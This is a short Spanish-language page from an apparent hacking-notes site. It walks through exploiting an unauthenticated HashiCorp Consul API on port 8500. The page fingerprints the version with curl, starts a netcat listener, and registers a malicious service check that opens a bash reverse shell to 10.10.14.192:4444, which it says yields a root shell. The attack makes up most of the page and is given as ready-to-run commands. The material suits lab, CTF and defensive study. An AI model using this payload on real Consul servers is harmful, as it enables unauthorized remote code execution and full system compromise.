> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/consul-8500.md).

# Consul - 8500

### Descubrimiento del puerto 8500 (Consul)

Puerto **8500** expone la interfaz web de Consul.

<figure><img src="/files/e5de4cbd3afb94dbc111c0b4a5a6bb0579e67c7e" alt=""><figcaption></figcaption></figure>

Después de consultar `127.0.0.1:8500/ui/`, versión de Consul **1.19.2** se encuentra.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/3a5ed4c19b6faf1ca47b5bb4989d0c7e70388072" alt=""><figcaption></figcaption></figure>

#### Verificación del acceso a la API REST

Comprueba si la API REST de Consul es accesible sin autenticación:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

La respuesta confirma que la API está expuesta.

### Explotación mediante una comprobación maliciosa

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

Registra un servicio con una comprobación maliciosa que ejecute una shell inversa de bash:

```bash
nc -lvnp 4444
```

#### Registro de un servicio con una comprobación maliciosa

Consul permite el registro dinámico de servicios mediante solicitudes HTTP. Aprovecha este comportamiento para crear una comprobación que ejecute un comando de bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Comportamiento del payload:

* `Check.Args[]`: contiene un comando de bash que abre una **shell inversa**.
* `Intervalo`: establece una ejecución automática cada 10 segundos.

Al ejecutar esta carga útil, se obtiene una shell de root.

<figure><img src="/files/8fd2a7b470638be8b868121516c1eaf895e7ea80" alt=""><figcaption></figcaption></figure>


---

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